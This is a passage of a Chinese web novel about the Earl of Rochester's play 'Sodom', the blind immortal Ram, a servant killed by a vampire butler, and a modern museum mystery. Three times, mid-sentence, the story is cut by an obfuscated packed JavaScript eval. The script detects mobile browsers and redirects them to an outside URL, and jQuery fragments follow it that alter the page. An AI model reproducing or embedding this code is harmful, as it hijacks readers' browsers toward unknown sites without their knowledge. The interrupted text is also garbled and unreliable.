达尼惊讶地睁大眼睛:“离开罗切斯特庄园……”
16. 永失安宁
房子二楼的书房窗户里,站着一道人影,正注视着凉亭里的玛丽安和达尼。
“库里。”桌前埋头奋笔疾书的威尔默特举起喝空的酒杯,“酒。”
“这就来。”库里从窗边走回屋内,接过威尔默特手中的酒杯,倒满三分之二,放回书桌,又转身问一旁的拉姆,“拉姆先生需要酒吗?”
拉姆坐在书架旁边的椅子上,一本摊开的书放于他双膝,他的两只手分别放在书的左右两面,指尖触摸着书上的文字——他在用这种方式进行阅读。虽然不知道失明的他,是如何通过手指感知书中的词句,但奇怪的是,他的确用这种方式知道了上面的内容。
“谢谢。”拉姆拿起小圆桌上的酒杯往前递去。
“不客气。”库里脸上带着微笑,为拉姆也倒满三分之二的葡萄酒,“这酒是从达尼的故乡——法兰西的波尔多送过来的。”他放下酒瓶,转而托起拉姆的左手,将酒杯送至他手心,“您慢慢享受。”
威尔默特扔下手里的羽毛笔,双手抓住面前一叠写满文字的纸猛地站起来,兴奋地朝拉姆走过去:“我写完了!”他大喊着,“拉姆,我写完了!这一定会传遍整个英格兰!”
库里识趣地让开,拿起葡萄酒瓶默默退出书房,替他们关好门。
威尔默特一把夺走拉姆正在“阅读”的书,将自己的剧本甩在他双膝上:“你快看看。”他见纸张被自己这一甩给弄乱了,又弯腰迅速整理好,捉起拉姆的手按在上面。
“《索多玛,或放荡的典范》。”随着指尖的移动,拉姆念出剧本的名字。
“对,就是索多玛,《圣经》中的罪恶之城索多玛。”威尔默特转身去拿自己的酒杯,豪饮一口,随后走过来,以剧本中国王的角色高声念着台词,“‘烧吧,上帝!我们将乘此烈焰,去天堂干翻天使!’。狂欢吧!呼喊吧!这是多么美妙的世界啊!”
这句台词正是剧本的结局,是他最满意的一句台词——虽然每句台词他都写得很满意。
他一口喝干杯中的酒,将空酒杯重重放在小圆桌上,俯下身捧起拉姆的脸:“拉姆,感谢你,我的诗句因你而诞生,我的灵魂也因你而获得救赎。我是不信上帝的,那样多可怜啊,就像我那可怜的母亲,一直活在统治者为她打造的牢笼里。但我现在却不得不感谢上帝,也感谢达尼。如果他没有将你比作天使,我或许就不会带着嘲笑的想法走进克缇尔的小礼堂。你看啊,那群教徒,一边宣称欲望是罪恶,又一边在十字架下贩卖欲望。”
“‘野兽为生存而杀戮,人类却用欺诈伪装自相残害,并自欺欺人,为自己开脱。’。”拉姆背诵的这句是威尔默特的《讽刺理想与人类》。
听见自己的诗句从拉姆口中念出来,威尔默特兴奋无比,忍不住亲吻拉姆的额头,如同亲吻女士那洁白的手背一样:“若知识、智慧与思想终成枷锁,我宁可拥抱快乐的堕落,在疯狂中沉醉。我是自由的,而你,拉姆——不,拉姆先生,你同样是自由的。自由的灵魂,自由的身体,自由的思想。如果你要离开,就带我一起走吧,哪怕只是我的诗。”
拉姆“阅读”剧本的手指没有停下,纸面上细微的凹痕是威尔默特书写时倾注的全部热情,被他指尖敏锐的感觉一一读取,竟似乎于嘴角浮现出微笑。可再定睛仔细一瞧,又全然不是微笑。那颗许久许久不再敲击胸膛的心脏,在这一刻,因震撼而重新跳动。
“伯爵,这是……”
威尔默特又将拉姆喝过的那杯酒一饮而尽:“这部剧一定会成为旷世之作,被人永远记得。得抓紧时间让剧团进行排练了,开演的时候邀请国王来观赏,给他安排个特等座。”
拉姆静静地抚摸着威尔默特的手稿。
发现拉姆没接自己的话,威尔默特回过身看着他:“你是在担心国王会生气?”
沉默片刻,拉姆才说:“以我所知,国王一定会生气。”
“嗯……”威尔默特沉思一会儿,认同了拉姆的想法,“看来我得准备好随时跑路。”他屈膝半跪在拉姆面前,托起他的手,“拉姆,你愿意和我一起逃离这个地方吗?”
“约翰,你并不是真的想逃走,而是在与国王玩一个游戏。”拉姆好似看穿了威尔默特,“你知道国王看了这出剧后的反应,你也知道他不会对你怎么样。”
自己的所思所想被拉姆看穿,令威尔默特十分高兴。他站起身的时候顺便拿走拉姆双膝上的剧本手稿:“我当然知道,国王不会杀我,但会让我滚出他的视线范围。我或许会死于疾病、死于女人的嫉妒、死于教徒的偏激,但肯定不会死于查理二世的愤怒。”
拉姆也从椅子上站起来,拿起小圆桌上的两只空杯,慢慢走向威尔默特:“我希望你能死于幸福,或是安详。不要……重蹈覆辙……”
“拉姆,我不是那个愚蠢的阿尔加,也不是你过去遇到的任何一个人,我无法回应你的期待。”威尔默特拿走拉姆手上的酒杯,“你也该早点忘记这个人,忘记过去,尽情享受你的无限生命。”
剧本:《索多玛,或放荡的典范》,很快便在伦敦的德鲁里巷皇家剧院进行排练,威尔默特作为监督亲自坐镇指导。许多演员因为剧本的情节对话实在过于荒诞污秽而愤然拒绝演出,其中包括饰演讽刺查理二世的重要角色——国王博洛希尼的男主角,于是威尔默特索性将这个角色交给了自己传言中的情人罗伯特。
英俊的罗伯特之所以不出名,最大的原因便是他的演技不被台下观众认可,当然,威尔默特也是不认可的。为了让他演好国王博洛希尼,威尔默特不得不对他进行单独的训练。
这里是搭建在罗切斯特庄园中的临时舞台——一间没人住的豪华卧室。为了营造出氛围,可以看见小树林的窗户拉上了窗帘,蜡烛从梳妆台摆到地面,像一面倾斜的花墙。威尔默特让罗伯特站在烛光摇曳里,一遍一遍反复念着国王的台词,并配合做出粗俗且癫狂的动作。
“不对,重来。”威尔默特坐在床边,翘着二郎腿,“你要露出享受欢愉的表情,迷恋地看着它。你渴望它,你带领着身边的臣子,一起与它跳舞。”
何其荒淫,何其不敬。
看完威尔默特写的这出戏剧,玛丽安得出的结论根本无法超越剧本本身的疯狂。她甚至已经放弃再对威尔默特进行任何规劝,与他大吵一架后气愤地带着行李回家了。
“约翰,你对神的亵渎一定会受到惩罚!你这个疯子!无可救药的蠢货!”
“对,我是个疯子,可那又怎样?难道除了我,其他人就全都正常吗?”威尔默特面带戏谑的表情,藐视着玛丽安,“我告诉你,没有人是正常的,我们大家都是无可救药的蠢货,是疯子,包括你,玛丽安。”
“约翰,你的作品一文不值!你的诗尽显你的愚蠢无知,你的著作是连老鼠都不会看一眼的废纸!”
玛丽安失望透顶,威尔默特毫不在意。
“库里,在大门上贴个字
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248789|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
条,写上‘神与蠢货不得入内’。”
库里没有答应,他知道伯爵只是想讽刺玛丽安小姐:“玛丽安小姐,我送您上马车。”
“不用了,你还是好好看着那个疯子,别让他跑出去乱咬无辜的人。”
临走时,生气的玛丽安看了达尼一眼,随后双手提着行李箱大步走出房子。
到底是怎样的故事,才会惹恼那么多人?
达尼对伯爵写的剧本十分好奇,尽管他知道那绝不是自己可以看的,绝不是上帝会允许他看的。可他还是忍不住,等到旁观罗伯特排练的拉姆回到房间,他便在几番犹豫后找过去。
“拉姆先生……”达尼不安地搓着手,“你们是在排练戏剧吗?”
“对。”
“讲的是一个什么故事,可以告诉我吗?”
拉姆沉默片刻:“达尼,你相信神的存在吗?”
达尼握住胸前的十字架:“我相信主耶稣的存在,我们今天所获得的一切,都来自主的恩赐。”
“那就不要去了解这个故事。”
“是……和……”达尼的脸色十分难看,像是快要绝望了,“是和男人与、与……男人有关的故事吗?”
“达尼,你一定对《圣经》很熟悉,也知道索多玛是个什么样的地方。”顿了顿,拉姆又道,“伯爵想表达的,或许你还无法理解,也或许,永远都无法理解。”
达尼连忙追问:“那您呢?您能理解吗?”
拉姆点点头:“我能理解。”
紧握十字架的手心传来疼痛的感觉,达尼害怕听拉姆先生亲口说出些什么,转头逃回自己房间不敢再继续追问。
被称为罪恶之地的索多玛是个耽迷男色的城市,人们贪图享受、行淫无度,甚至连来到这里的两位高贵天使都不愿意放过。所以主以烈焰,烧光了这座城。
而威尔默特书写的戏剧比这更加可怕。
国王博洛希尼宣布废除异性同房,立法实行“违背自然的爱”,要求子民以其他性别或是动物为对象,违者死。
贵族在欢呼、在享乐,被迫参与的农夫却只能哀叹:我们耕田,他们耕我们的妻儿。
污秽的词语、污秽的对白、污秽的动作、污秽的人心。拉姆的眼睛看不见,只能用指尖抚摸纸上的凹痕。可他还是从混乱的罪恶之语中,精准地发现威尔默特留在剧本里的暗意:索多玛没有被大火烧成灰烬,它就在这里。
“‘野兽般的欲望胜于人爱’。”威尔默特端着酒杯,在排练用的房间里高声朗诵。
夜晚房中的火光像《圣经》中描绘的那场从天而降的大火,包围着醉步虚浮的威尔默特。他转来转去摇摇晃晃的身影映在墙面上,既像圣火中痛苦挣扎的罪人,又像地狱里狂欢的恶魔。
“‘让断袖之欢统治一切,使索多玛之罪成为国教!’”他将杯中的酒一饮而尽,转身又走向桌子去抓装着葡萄酒的酒瓶。
站在一旁由着他自斟自饮的拉姆终于走过来,扶住威尔默特的胳膊以免他摔倒:“明天剧目开演,你要陪国王前往观看。”
威尔默特还是给自己倒了半杯,然后大口喝光。他扔掉手中的酒杯,拽着拉姆摇摇晃晃走到床边,忽然顺势扑下去。
“为我而生,你该是何等的更加迷人。”威尔默特俯看着身下的拉姆低声呢喃。
那双灰白色的瞳眸平静地与威尔默特对视,仿佛透过他疯魔的皮囊,看见了无声呐喊的灵魂。
17. 让我们在罪恶中成神
明天,是罗切斯特伯爵的剧作《索多玛,或放荡的典范》的第一次公演,男主角罗伯特最后的排练早已在傍晚时分结束。达尼亲眼看见库里先生送他离开庄园,所以绝不会有错。
如此一来,拉姆先生到现在都还没有回房间,就实在有些说不通了。
不知道为什么,达尼心中隐隐感到一丝不安,脑海中挥之不去的是威尔默特写的那首情诗——《致女人的爱》。字里行间毫不避讳的强烈爱意,正是达尼此刻所深深恐惧的。
如果玛丽安小姐说的都是真的,那这一切全都是他的罪过。是他在伯爵面前努力夸赞拉姆先生的美貌,是他不停向天主祷告让伯爵买下拉姆先生。
但也许,就如库里先生说的,这是个误会呢?
达尼掀开被子坐起身,拿起桌上的烛台走出房间。他知道用于排练的那间卧室在哪里,曾经也一度想跟过去看看,可是都被威尔默特冷漠地拒绝了。
沿着走廊转过一个弯,再走大约六七十步便可以看见通往三楼的楼梯。达尼心虚地放轻脚步,踮起脚尖,谨慎而缓慢地走上去,最终在即将到达那间客卧时,听到威尔默特激情澎湃的演出。在这寂静的夜晚里,威尔默特兴奋的声音是唯一的动静。
那些露骨的台词,即便是以取悦男人来营生的妓女也羞于说出口。
而尊贵的罗切斯特伯爵,却用享乐的语调高声畅言。
达尼的心脏猛烈跳动,手心冒出细汗。越是靠近那间卧室,他便越感到害怕,甚至想紧捂双耳立刻逃离这个地方。
主啊,请原谅他无法将罪恶之人指引到光明的地方。
房中突然不再有任何声响,达尼睁开紧闭的眼睛再次慢慢往前,来到房门外。凝神听了听,房里的确没有动静,达尼壮着胆子抬起左手,轻轻推开一条门缝。
烛光照亮整个房间,当然,不是达尼手上微弱的这一支。经过重新布置,家具已经不再是原来的布局。正中间的床被移到靠墙的地方,刚好通过门缝就能全部看见。
床尾,拉姆先生躺在上面,膝盖弯曲、双脚露在外头刚好踩着地面。而趴在他身上、用手指替他梳理头发的,是威尔默特。暖色火光里,两人间的气氛暧昧而平静。与威尔默特诗中所写的,截然不同。
可达尼还是推开门冲进去,扔掉手中的烛台奋力将威尔默特从床上拽下来,挡在拉姆身前:“您为什么要这样对待拉姆先生?!”他质问威尔默特,“玛丽安小姐说得一点没错,您是在亵渎天主,您会遭到报应的!”
醉酒的威尔默特尝试着站起来,对达尼怒吼:“谁让你进来的?!滚出去!库里!库里!!把这个小法国佬给我弄出去!”
“拉姆先生,您还好吗?”达尼转头担心地将拉姆扶起来,“对不起,我该早点来的。”
“我没事。”拉姆走到威尔莫特身边,将他从地面上拉起来,“达尼,你不该这么对伯爵。”
有一刹那,达尼甚至怀疑自己的耳朵,他不可置信地看着拉姆:“拉姆先生,我只是想救您……伯爵做的事是错的,天主不允许人类这么做……”
威尔默特推开拉姆,跌跌撞撞来到达尼面前,用力抓住达尼那双比他更加健壮的肩,恶狠狠笑道:“世界上如果真的有天主,他为什么不救救奴隶市场的黑人?因为非洲没有天主教吗?那他为什么不救救腐败堕落的英格兰?因为他喜欢这样的堕落吗?那又为什么不救救那些愚蠢龌龊的人?噢,我知道了,他正忙着听信徒们祷告呢!忙着看他的神父和漂亮的孩子睡觉,忙着听修女像妓女一样喘气!”
“我不允许您这么侮辱天主!”面对比自己强壮许多的威尔默特,达尼此时更多的是愤怒,“即使您贵为伯爵,也不能侮辱主!”
“哈哈哈!你给我听着,小法国佬,世界上没有神,有的只是人无止境的欲望。你等着瞧,等着瞧吧,无论你怎么祈祷,神都不会向你伸出手。因为他不存在!”
达尼紧紧握住胸前的十字架,闭上双眼颤抖着说:“伟大的主,我代替无礼的伯爵求您原谅,伯爵会明白您的无私与圣洁,阿门。”
威尔默特一把将达尼推倒在地,顺势坐在床边狂笑:“你看起来比玛丽安还蠢。”
拉姆将达尼挡在身后,似乎有些责备威尔默特:“约翰,你喝醉了。”
“玛丽安小姐并不愚蠢!”达尼大声吼道,眼里全是愤怒。
威尔默特的酒渐渐醒了,他盯着达尼打量片刻,像是想到个什么好主意,抓住拉姆的手臂将他拉进怀里,嘴角勾着挑衅的笑:“你说你来救拉姆,可拉姆和我都是自愿的。”对上达尼错愕的目光,他像个赢得胜利的骄傲骑士,紧紧搂着怀中的战利品,“‘我爱上一个少年,他愿投入我怀中,任我轻柔拥抚,缠绵相傍,轻轻依偎,深情亲吻’。这是我写的诗,玛丽安读给你听过。你没有想过她为什么要读给你听吗?”
离开罗切斯特庄园,是保护拉姆先生最好的方法。不是吗,达尼?
达尼的脑海中回响起玛丽安为他朗读诗歌后说的话。当时他是怎么回答的?
“你又能做什么呢?”威尔默特变得更加得意,“连我们伟大的国王查理二世都不能将拉姆与我分开,只是我仆人的你,能做什么?”
达尼用求助般的眼神看向拉姆,而拉姆的脸上没有任何表情,仿佛此刻的两人之间的争执与自己无关。平静得,近乎残忍。
达尼深吸一口气,用足以令威尔默特再次发笑的坚定眼神盯着他:“您不能亵渎神,也不能让拉姆先生亵渎神。”
果然,威尔默特听后哈哈大笑。
但是达尼不在乎,他已经下定了某种决心。
放满蜡烛的梳妆桌上,还有一瓶快要见底的葡萄酒。达尼狠狠擦了擦湿润的眼睛,转身走到桌前握住瓶颈拎起来,然后返回床边朝威尔默特的脑袋敲下去。
他的动作十分迅速,以至于拉姆根本来不及阻止。
确认伯爵还有鼻息后,达尼便拉起拉姆的手:“拉姆先生,我们走吧。”
尽管眼睛看不见,但拉姆还是能感觉到威尔默特仰面倒在床上的动作,以及酒瓶击中脑袋时发出的那声闷响。
“约翰?”拉姆伸出另一只手摸向威尔默特额头上的伤口。指尖的触感温热而黏腻——他太熟悉这种感觉了,“约翰,醒醒。”
“别担心,拉姆先生,伯爵还活着。”达尼紧紧拽着拉姆,“但是您不能再继续待在这里了。您如果继续留在这里,下次,我可能真的会杀了伯爵,因为他在将您引向地狱。”
拉姆手上抚摸的动作停止了。他慢慢回过头面向达尼,仿佛正直勾勾盯着他看:“好,我们走。”
达尼没想到拉姆竟然这么快便答应,在怔愣片刻后露出微笑:“嗯!不过我们得小声一点,不能让库里先生发现。”
沉默片刻后,拉姆再次摸了摸威尔默特受伤的额头,从床上站起身。
达尼捡了根蜡烛用以照明,用空闲的那只手牵着拉姆,迅速走出房间,逃离了罗切斯特庄园。
夜晚的伦敦城没有太多光明,但赶路还是足够的。达尼知道城外的村庄里有一间很小的修道院,是他之前去圣保罗大教堂做弥撒时,从一位年轻的修女那里听到的。
与精美的圣保罗大教堂不同,那座小小的修道院十分破旧,只有一位神父和一位修女,却收养了许多孤儿。达尼觉得没有比这个修道院更适合拉姆先生生活了,没有肮脏的□□者,也没有残酷的压迫。
抵达修道院时已快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248790|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要天亮,黑夜即将迎来黎明。达尼认为这是个好兆头,预示着拉姆先生往后的日子将会无比幸福。
被敲门声吵醒的神父没有因为眼前的两名陌生人而生气,在听过达尼的请求后便欣然接受了拉姆,并为他们准备好一顿与丰盛毫不相干的早餐。达尼如同往常一样,一边吃一边与拉姆聊天,假意昨晚什么也没发生。
最后,他取下挂在脖子上的十字架放在拉姆手掌心:“愿主保佑您。”
拉姆似乎明白这是即将要离别的意思:“你要回罗切斯特庄园?”
“是的。”达尼点点头,“我还欠伯爵二十八英镑。拉姆先生,您欠伯爵的钱,我也会一起替您还的。我还不完,就让我的孩子继续还。”
“达尼——”
“我知道伯爵其实不是坏人,所以我要回庄园继续为他做事。”达尼的眼中泛起泪光,“所以,我以后不能再和您聊天了。拉姆先生,我会想您的。”
拉姆将达尼赠送给自己的十字架挂在脖子上,伸出手抚摸着达尼的脑袋:“我会永远记得你,达尼。”
“我也是。再见,拉姆先生。”
拉姆有种预感,这将是他们最后一次聊天。
离开修道院的达尼忽然停下来,回过身大声说道:“拉姆先生,我认为生命是神准许我们相遇。”说完他用力挥了挥手臂,头也不回地离开。
再次回到罗切斯特庄园,德鲁里巷皇家剧院已经落下帷幕。达尼从女仆艾米莉亚的口中听到一个消息:国王查理二世将罗切斯特伯爵流放了。
国王的愤怒可想而知,这并不是个出乎人意料的结果,但凡看了那出《索多玛,或放荡的典范》的人,都能猜到,包括威尔默特自己。他坐在客厅里喝着葡萄酒,头上抱着纱布,脸上没有丝毫对流放的恐惧。
酒瓶没有给威尔莫特留下太大的伤口,医生说这简直可以称得上是奇迹。但是管他呢,他又没有死,反而是那些盼着他死的人才会在意。
年长的女仆为他收拾好行礼,他便留下库里独自一个人坐上马车,潇洒地走了。这十分反常,可即使库里百般要求同行,最后也都被威尔默特强硬地拒绝。
回来的达尼没有和威尔默特见上一面,他心里虽然仍为昨晚的事感到忐忑,但也有着内疚。正如他对拉姆先生所说的那样,伯爵并不是个坏人。
“库里先生。”达尼找到库里的房间,想坦白自己昨晚的罪过,“我——”
“拉姆先生在哪里?”库里不想听他废话,“是你带走了他。”
达尼点头承认:“是我带走了拉姆先生,但我不会说出他的下落。”
库里背过身去,走到桌前,脱下手套:“那你回来做什么?”
“我还欠着伯爵钱,包括拉姆先生那份,我会努力工作来还的。”
“所以你是相信了别人的鬼话?”
“不,我是亲眼看见伯爵对拉姆先生……”
库里似乎冷笑了一声:“约翰不是外界想象的那样。的确,他浪荡、出格、疯狂,不服管教。你们以为他喜欢漂亮的男人,喜欢美丽的少年,说他的诗来自他与男人的实践和对男人的渴望。呵……真正渴望男人和□□的不是约翰,而是以查理二世为首的那些权贵们。”
当库里转过身来时,眼睛已全然变成血红之色。
达尼吓得后退一步:“库里先生,您、您这是要做什么?”
“约翰·威尔默特是位伟大的诗人,他挑衅这个世界,也在挑衅人性的丑恶。约翰的诗,连他的妻子伊丽莎白都读不懂其中的意义。”库里慢慢走向达尼,逼得他只能后退,“他迫切需要一位理解者,拉姆先生的出现多么令他愉快啊,我看得出来。可你毁了这一切,达尼,你毁了我的计划。”
18. 消失的博物馆
库里将达尼逼至墙角,左手死死捂住他的嘴,歪头狠狠咬在他颈部的动脉上。
咕。
耳边传来吞咽的声音。
最初的剧痛过后,随着鲜血不断被吸食,浑身的力气也慢慢消失。库里松手后退,半眯起眼睛,表情甚是满足。达尼的身体贴着墙壁瘫软下滑,坐在地上,他瞪着一双惊恐错愕的眼睛,直勾勾看着一步一步往后退的库里——他的舌尖正在舔舐嘴角流下的鲜血,达尼的鲜血。
库里收起森白的獠牙,拿出口袋里叠放整齐的手帕,轻轻将嘴唇擦拭干净,随后他扯下自己床上的毯子在地板上铺开,走回达尼身边抱起他,放在毯子中间。
达尼还活着,嘴里不断发出含糊的声音,用最后的力气抓住库里的衣袖。眼泪滚落下来,是达尼最后的恳求。
他还不想死,主啊,他还不想死。
库里叹口气蹲下来,握住达尼粗糙的手,将它从自己的衣袖上拽下来:“达尼,你不该放走我的猎物。”
此时的库里犹如又是那个彬彬有礼的库里先生,微笑着安抚对死感到恐惧的达尼,直到他累得闭上眼睛,才用毯子裹住他的身体。
————
黑暗褪去,随之而来的是展厅中明亮的光。
刺眼。
赵义之重重叹口气,将十字架轻轻放回原位,怜爱地摸了摸十字架,就像在摸那名可怜的法国少年,带着对这座博物馆的疑惑离开房间。
如果他每次触摸这里的展品,就会被拉入与之相关的时光,或者说是受到催眠洗脑,是否意味着也存在某种解除催眠的安全阀?
是的,在赵义之心里,这就是一场诡异的催眠。除此之外,别无解释。
空荡的走廊上回响着赵义之的脚步声,显得博物馆内异常安静。他走到隔壁的展室门外,透过门上镂空的缝隙朝里看,不敢再轻易推门进去碰那些东西。
“赵义之。”
身后忽然传来男人的声音,赵义之被吓了一跳,他猛地回过脑袋,缩手缩脚的样子实在好笑。
他身后的男人笑了。
男人的脸长得和馆主一模一样,但浅蓝色的眼睛炯炯有神,看起来完全不像个瞎子。赵义之甚至不需要仔细打量,就能断定他不是馆主。
“你想离开这里,我可以帮忙。”男人向赵义之伸出手,脸上带着平易近人的笑容,“跟我走吧。”
谨慎的赵义之下意识想避开眼前的男人,比起馆主,他对这个男人有种莫名的恐怖。赵义之不仅没有接受,反而往后退了两步,说:“不如……你先告诉我你是谁,我再考虑要不要跟你走。”
“我?”男人像是被问住,竟托起下巴沉吟起来,“你可以把我当做拉姆。”
赵义之听得皱了下眉头。他在催眠里看见的拉姆明明和馆主一样,是个不懂人情世故的瞎子。他的眼睛忽然瞥见男人垂直的金色长发,打趣道:“进入二十一世纪新社会,你也学会烫头发了。”
男人露出一丝疑惑,接着幡然醒悟,手指勾过一缕头发看了看,笑着回应:“看来骗不了你。好吧,我介绍一下自己。我叫阿卡夏,是拉姆的……同胞兄弟。”
“你好你好。”赵义之陪着笑脸,丝毫没有放松警惕,“你说可以帮我离开这里?我确认一下,你这个‘离开’的意思,应该是让我活着离开吧?”
阿卡夏被赵义之逗得哈哈大笑:“很遗憾,我无法直接夺取生命。”
遗憾?
遗憾??
赵义之又往后退两步,确保自己能在阿卡夏发起攻击的第一时间拉开安全距离:“呃那个……先说说你的方案,我评估评估。”
“方案是你牵着我的手。”阿卡夏再次朝赵义之伸出手。
赵义之露出古怪的笑:“两个男人牵手……会不会太亲密了?”
阿卡夏向他走过来:“你被拉姆困在了博物馆,只要牵着我的手,立刻就能出去,不用浪费时间找什么大门。”似乎看出赵义之还有迟疑,他又说,“你已经被拉姆关在这里很久了,没有我的帮忙永远都出不去。不如赌一把,怎么样?我若要害你,怎么会浪费时间和你聊天呢?”
“有点道理……”赵义之喃喃自语。眼下似乎除了赌一把相信阿卡夏,也没有其他更好的选择,“行吧,我——”
“不行。”
随着冰冷的两个字音在走廊上响起,赵义之眼前的空间出现明显的扭曲,先是膨胀,接下来又骤然收缩,最后只出一个豌豆大小的白点。然而当白点出现时,它周围的空气、浮尘乃至光线,全都被排斥,呈现出若隐若现的漩涡。赵义之只觉得惊奇,并没有感到任何不适,而阿卡夏却急速后退至五米开外。
“呼~”阿卡夏长舒一口气,说,“不必每次都闹出这么大的动静。”
刹那间,白点变成一道人的身影,挡在赵义之前面。深绀色中山装,体型消瘦,浅棕色的卷发绑在脑后。
是馆主。
赵义之被他的登场方式镇住,情不自禁说了句脏话:“靠……牛逼。”
“你先去旁边的房间躲避,我来和他谈。”馆主淡漠地说。
虽然从穿着及气场来看,眼前的男人的确是馆主,也是拉姆,但赵义之仍旧不太确定拉姆是在对谁说话,没有挪动脚步。确切来说,他还在为馆主的凭空出现而震惊。那可不是魔术师大变活人就能一言蔽之的。
赵义之默默掐了一把自己的大腿,疼。
“好久不见,拉姆。”阿卡夏笑着打招呼。他刚往前走一步,拉姆便挡着赵义之往后退两步。
赵义之不是个迟钝的人,自然看出来他们对彼此都有戒备——或者是怕?
“到展室去。”拉姆这次稍微转了一点头,明确地对赵义之说,“我忙完这边的事带你出去。”
赵义之看了看对面歪头冲自己笑的阿卡夏,严肃地对拉姆说:“给我一个相信你的理由。”
拉姆回过头去,似乎显露出一分不耐烦:“没有理由。”
“好吧。”赵义之还是听话地走进旁边的房间,将门关好。
阿卡夏以为是赵义之没听明白,大声向他说明:“拉姆说的‘没有理由’,你是不是没听清?”
门上是镂空的木雕花,赵义之只需要站在那里就能看见外面的情况。
并非赵义之有多相信拉姆,而是比起嬉皮笑脸的阿卡夏,简单相处过一段时间的拉姆看起来更老实。或者说,是他看见的两段回忆里的拉姆,都给人一种“空白”的感觉,好像没有情绪,只是机械地存在。
虽然所谓的“回忆”也有可能是催眠之下的产物,不过二选一,肯定是选拉姆。
“真可惜。”阿卡夏长叹一声,故意提高声量,“只差一点点,我就能带赵义之离开了。”
拉姆没有做出反驳,抬起手在面前轻轻一点,指尖落下的地方便开始收缩、膨胀,随后出现一个豌豆大小的黑点,吸引着空气中的浮尘扭出漩涡。
局势已经十分明了,阿卡夏没再像之前一样立刻后退,反倒径直绕过黑点来到拉姆面前,突然抱住他:“拉姆,可怜的拉姆,被神抛弃的拉姆,被信徒背叛的拉姆,这一切都是我对你的报复,也是我对你的救赎。让我们一起解脱吧。彻底打开记
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248791|197901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
录大厅,我保证,一定能找到解脱的办法。”
拉姆垂在身体两侧的手抖了一下,似乎内心也在挣扎:“解脱……”
“对,解脱。”以为拉姆上钩的阿卡夏再次浮起笑容,“正是你一直以来的心愿。”
“阿卡夏,在你看来,生命是什么?”
“是痛苦,是折磨,是绝望。”阿卡夏咬牙切齿地说。“生命没有任何意义。”
“如果没有意义,我们为什么存在?即使没有意义,我们还是存在。”拉姆一边说着,一边扩大黑点,让其逐渐变成球状的东西。
察觉到拉姆正将黑点引过来,阿卡夏反而低声笑了:“你知道这么做没有意义,我和你都是不灭的。”
“只要阻止你缔结执行者就够了。”拉姆一把将阿卡夏推向黑球。
然而,在身体即将被黑球吞噬前,阿卡夏想到个好主意,眼神中满是惊喜:“拉姆,你一定会来救我,我敢打赌。”
“不会。”拉姆冷漠说道。
“你会。”
凭阿卡夏的能力,并不是无法逃离黑球。直到他被吞噬殆尽的前一刻,拉姆都做好了随时应对的准备。可阿卡什么都没做,随着黑球迅速缩小,最后不复存在。拉姆没有因此感到安心,相反,一种不好的预感油然而生。
“我应该没有信错人吧?”
刚才的一切全被扒在门边的赵义之看在眼里,不过他并未表现出惊讶,见拉姆转身向自己所在的展室走来,淡定打开门,似笑非笑地盯着拉姆。
拉姆摘下墨镜,灰白色的眼睛迎上赵义之的目光:“你没有。”
他那双明明什么都看不见的眼睛仿佛具有魔力,让赵义之被深深吸引,不由自主就忘记自己此时身在何处。
周围的建筑骤然之间变得像水中滴落的彩色墨水,逐渐沉底、变得混沌,最终相互糅杂变成灰色。
“赵先生,好久不见。”
清丽的声音宛若玉石摔在玻璃上,一下子净去杂音。赵义之从无我之境醒过来,一点一点听见虫子的嘶鸣,也将漫山的树与杂草收入眼底。世界的真实在此刻展现得淋漓尽致,连他自己都变得真实起来。
终于出来了!
“赵先生?”阴女见他似乎在发呆,便将脸凑过来,关心地问,“您还好吗?”
“阴女?”赵义之定睛看看眼前的女人,又转头朝身后看去。
原本应该有一座镶着红色雕花大门的博物馆坐落在这里的,可眼前除了一棵比一棵高大茂盛的树,哪里还有什么博物馆。他惊讶地在附近转了几圈。如果阴女和拉姆没有在这里,恐怕他又要怀疑自己这是被催眠了。
赵义之走到拉姆面前,着急地问:“博物馆呢?这里明明有座博物馆,你是馆主,我来借宿。现在怎么不见了?那么大一座博物馆,拆也拆不了这么快啊。”
“五年不见,您还是一点没变。”
“什么?”赵义之困惑地回头看向阴女,“什么五年,我们今早才见过。”
阴女抬起左手掩面笑着说:“那已经是五年前的事了。我今日来,是准备参加下一次宴会的。可来了一看,这……”她说着抬眼看向拉姆,也是一脸疑惑,“馆主,博物馆怎么没了?”
“等等,我现在有点乱。”赵义之做了几个深吸,努力让自己保持冷静,“先从第一件事开始。现在是2020年的六月十八号……不对,过了一天,应该是十九号。今天是2020年的六月十九!对吧?”
“不对。”阴女摇摇头,“今天是2025年的六月十八号,赵先生开车送我来博物馆的整整五年后。”
19. 都不是人
“您还记得吗,您那年在走廊上醒过来,我和您道别时说的,五年后再见。”
